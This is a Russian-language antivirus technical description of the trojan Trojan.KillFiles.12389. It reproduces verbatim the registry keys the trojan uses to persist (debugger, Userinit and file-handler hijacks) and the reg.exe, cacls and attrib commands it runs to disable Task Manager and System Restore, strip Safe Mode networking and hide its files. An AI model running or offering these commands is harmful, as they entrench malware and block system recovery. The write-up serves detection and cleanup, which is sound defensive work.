Trojan.KillFiles.12389

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe] 'Debugger' = '%WINDIR%\help\guide\hgwin.exe'
[<HKLM>\SOFTWARE\Classes\Unknown\shell\open\command] '' = '%WINDIR%\media\001\pgproxy.exe %1'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Userinit' = '<SYSTEM32>\userinit.exe,%WINDIR%\installer\profile\deviceindex.exe,'

Вредоносные функции:

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Диспетчера задач (Taskmgr)

блокирует:

Компонент восстановления системы (SR)

Запускает на исполнение:

'<SYSTEM32>\reg.exe' delete hklm\system\controlset005\control\safeboot\network\{4d36e96f-e325-11ce-bfc1-08002be10318} /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset005\control\safeboot\network\{4d36e96b-e325-11ce-bfc1-08002be10318} /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset005\control\safeboot\network\tcpip /f
'<SYSTEM32>\reg.exe' add hklm\system\currentcontrolset\services\sr /v Start /t reg_dword /d 4 /f
'<SYSTEM32>\reg.exe' add "hklm\software\microsoft\windows nt\currentversion\systemrestore" /v DisableSR /t reg_dword /d 1 /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset003\control\safeboot\network\tcpip /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset003\control\safeboot\network\{4d36e96f-e325-11ce-bfc1-08002be10318} /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset004\control\safeboot\network\{4d36e96b-e325-11ce-bfc1-08002be10318} /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset004\control\safeboot\network\tcpip /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset004\control\safeboot\network\{4d36e96f-e325-11ce-bfc1-08002be10318} /f
'<SYSTEM32>\reg.exe' add hklm\software\microsoft\windows\currentversion\policies\explorer /v NoPropertiesMyComputer /t reg_dword /d 1 /f
'<SYSTEM32>\tskill.exe' deviceindex
'<SYSTEM32>\reg.exe' add hkcu\software\microsoft\windows\currentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
'<SYSTEM32>\ping.exe' proboards.com -t -l 2000
'<SYSTEM32>\reg.exe' add hklm\software\microsoft\windows\currentVersion\policies\system /v DisableTaskMgr /t reg_dword /d 1 /f
'<SYSTEM32>\cacls.exe' "C:\system volume information" /e /g "%USERNAME%":f
'<SYSTEM32>\reg.exe' add "hklm\software\microsoft\windows nt\currentversion\systemrestore" /v RPGlobalInterval /t reg_dword /d 15724800 /f
'<SYSTEM32>\cacls.exe' "C:\system volume information"\*.* /e /g "%USERNAME%":f
'<SYSTEM32>\cacls.exe' "C:\system volume information" /e /r "%USERNAME%"
'<SYSTEM32>\cacls.exe' "C:\system volume information"\*.* /e /r "%USERNAME%"
'<SYSTEM32>\reg.exe' delete hklm\software\classes\unknown /f
'<SYSTEM32>\attrib.exe' +r +h +s %WINDIR%\help\guide
'<SYSTEM32>\reg.exe' add hklm\software\classes\Unknown\shell\open\command /ve /t reg_sz /d "%WINDIR%\media\001\pgproxy.exe %1" /f
'<SYSTEM32>\reg.exe' delete hklm\system\lastknowngoodrecovery /f
'<SYSTEM32>\reg.exe' add "hklm\software\microsoft\windows nt\currentversion\image file execution options\mspaint.exe" /v Debugger /t reg_sz /d %WINDIR%\help\guide\hgwin.exe /f
'<SYSTEM32>\tskill.exe' pgproxy
'<SYSTEM32>\tskill.exe' hgwin
'<SYSTEM32>\attrib.exe' +r +h +s %WINDIR%\installer\profile
'<SYSTEM32>\reg.exe' add "hklm\software\microsoft\windows nt\currentversion\winlogon" /v Userinit /t reg_sz /d <SYSTEM32>\userinit.exe,%WINDIR%\installer\profile\deviceindex.exe, /f
'<SYSTEM32>\attrib.exe' +r +h +s %WINDIR%\media\001
'<SYSTEM32>\reg.exe' delete hklm\system\controlset002\control\safeboot\network\{4d36e96b-e325-11ce-bfc1-08002be10318} /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset001\control\safeboot\network\tcpip /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset002\control\safeboot\network\{4d36e96f-e325-11ce-bfc1-08002be10318} /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset003\control\safeboot\network\{4d36e96b-e325-11ce-bfc1-08002be10318} /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset002\control\safeboot\network\tcpip /f
'<SYSTEM32>\reg.exe' delete hklm\system\currentcontrolset\control\safeboot\network\{4d36e96f-e325-11ce-bfc1-08002be10318} /f
'<SYSTEM32>\reg.exe' delete hklm\system\currentcontrolset\control\safeboot\network\{4d36e96b-e325-11ce-bfc1-08002be10318} /f
'<SYSTEM32>\reg.exe' delete hklm\system\currentcontrolset\control\safeboot\network\tcpip /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset001\control\safeboot\network\{4d36e96f-e325-11ce-bfc1-08002be10318} /f
'<SYSTEM32>\reg.exe' delete hklm\system\controlset001\control\safeboot\network\{4d36e96b-e325-11ce-bfc1-08002be10318} /f